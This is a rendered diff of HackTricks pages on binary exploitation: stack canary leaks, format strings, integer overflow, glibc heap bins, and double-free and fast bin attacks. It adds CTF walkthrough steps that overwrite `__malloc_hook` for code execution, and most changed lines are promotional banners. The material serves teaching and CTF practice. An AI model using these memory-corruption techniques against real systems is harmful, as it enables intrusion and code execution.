* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** **If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**

30
binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View file

@ -1,18 +1,19 @@
# Print Stack Canary # Print Stack Canary
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Enlarge printed stack ## Enlarge printed stack
@ -42,16 +43,17 @@ With an **arbitrary read** like the one provided by format **strings** it might
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* This challenge abuses in a very simple way a format string to read the canary from the stack * This challenge abuses in a very simple way a format string to read the canary from the stack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-exploiting-problems.md
View file

@ -1,16 +1,19 @@
# Common Exploiting Problems # Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## FDs in Remote Exploitation ## FDs in Remote Exploitation
@ -45,14 +48,17 @@ In order to bypass this the **escape character `\x16` must be prepended to any `
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** **Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

30
binary-exploitation/format-strings/README.md
View file

@ -1,16 +1,19 @@
# Format Strings # Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -250,14 +253,17 @@ It's possible to abuse the write actions of a format string vulnerability to **w
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. * 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

30
binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
View file

@ -1,18 +1,19 @@
# Format Strings - Arbitrary Read Example # Format Strings - Arbitrary Read Example
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Read Binary Start ## Read Binary Start
@ -193,16 +194,17 @@ p.close()
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/format-strings/format-strings-template.md
View file

@ -1,18 +1,19 @@
# Format Strings Template # Format Strings Template
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}
```python ```python
from pwn import * from pwn import *
@ -154,16 +155,17 @@ P.interactive()
``` ```
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

30
binary-exploitation/integer-overflow.md
View file

@ -1,18 +1,19 @@
# Integer Overflow # Integer Overflow
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -126,16 +127,17 @@ In this example, if a user inputs a negative number, it will be interpreted as a
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

58
binary-exploitation/libc-heap/bins-and-memory-allocations.md
View file

@ -1,18 +1,19 @@
# Bins & Memory Allocations # Bins & Memory Allocations
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -29,7 +30,7 @@ Therefore, a tcache is similar to a fast bin per thread in the way that it's a *
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. **When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so if case it needs more, it'll find them in Tcache. There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
<details> <details>
@ -179,10 +180,10 @@ Additionally, **fast bins use singly linked lists**, not double linked, which fu
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
* When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get ana available chunk * When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
* When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header * When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20-0x2f` will be in index `0`, a chunk of size `0x30-0x3f` would bi in `idx` `1`... The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
{% hint style="danger" %} {% hint style="danger" %}
Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
@ -256,7 +257,7 @@ int main(void)
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin fill and the one chunk in the fast bin: Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
@ -275,7 +276,7 @@ The unsorted bin is a **cache** used by the heap manager to make memory allocati
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.&#x20; Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
@ -315,9 +316,9 @@ int main(void)
} }
``` ```
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin fill and the one chunk in the unsorted bin: Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
@ -408,7 +409,7 @@ int main(void)
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin fill and the one chunk in the small bin: Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
@ -447,7 +448,7 @@ There are:
* 8bins of 4096B range (part collide with small bins) * 8bins of 4096B range (part collide with small bins)
* 4bins of 32768B range * 4bins of 32768B range
* 2bins of 262144B range * 2bins of 262144B range
* 1bin for reminding sizes * 1bin for remaining sizes
<details> <details>
@ -514,7 +515,7 @@ int main(void)
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). 2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin fill and the one chunk in the large bin: Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
```bash ```bash
gef➤ heap bin gef➤ heap bin
@ -590,7 +591,7 @@ int main(void)
} }
``` ```
After compiling and debugging it with a break point in the ret opcode of main I saw that the malloc returned the address: `0xaaaaaaac12a0` and these are the chunk: After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
```bash ```bash
gef➤ heap chunks gef➤ heap chunks
@ -605,7 +606,7 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
``` ```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the lates allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header: It's also possible to see the length of the Top chunk on its chunk header:
```bash ```bash
@ -616,9 +617,9 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
</details> </details>
### Last Reminder ### Last Remainder
When malloc is used and a chunk is divided (from the unlinked list or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Reminder and it's pointer is stored in the `malloc_state` struct. When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
## Allocation Flow ## Allocation Flow
@ -651,16 +652,17 @@ Check the security checks performed by heavily used functions in heap in:
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions) * [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
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</details> </details>
{% endhint %}

50
binary-exploitation/libc-heap/double-free.md
View file

@ -1,22 +1,23 @@
# Double Free # Double Free
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fastbin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
@ -94,7 +95,7 @@ int main() {
} }
``` ```
In this example, after filling the tcache with several freed chunks, the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double-free error**. This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
Executing it, note how **`i1` and `i2` got the same address**: Executing it, note how **`i1` and `i2` got the same address**:
@ -121,20 +122,37 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0 </strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre> </strong></code></pre>
## Examples
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
* We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
* Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
* One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
* We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
* Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
* We allocate three chunks of size `0x110` (`A`, `B`, `C`)
* We free `B`
* We free `A` and allocate again to use the null-byte overflow
* Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
* We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
* We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
## References ## References
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free) * [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
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</details> </details>
{% endhint %}

52
binary-exploitation/libc-heap/fast-bin-attack.md
View file

@ -1,18 +1,19 @@
# Fast Bin Attack # Fast Bin Attack
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -22,7 +23,7 @@ For more information about what is a fast bin check this page:
[bins-and-memory-allocations.md](bins-and-memory-allocations.md) [bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %} {% endcontent-ref %}
Because the fast bin is single linked, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary: As summary:
@ -136,41 +137,46 @@ int main(void)
``` ```
{% hint style="danger" %} {% hint style="danger" %}
If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
{% endhint %} {% endhint %}
## Examples ## Examples
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* It's possible to alloc chunks, free then, read their contents and fill them (with an overflow vulnerability). * It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
* **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to crate a fake prev\_size so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (main\_arena+88). * **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
* **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that was pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before malloc\_hook (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ * **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there. Finally a **one gadget** was written in there.
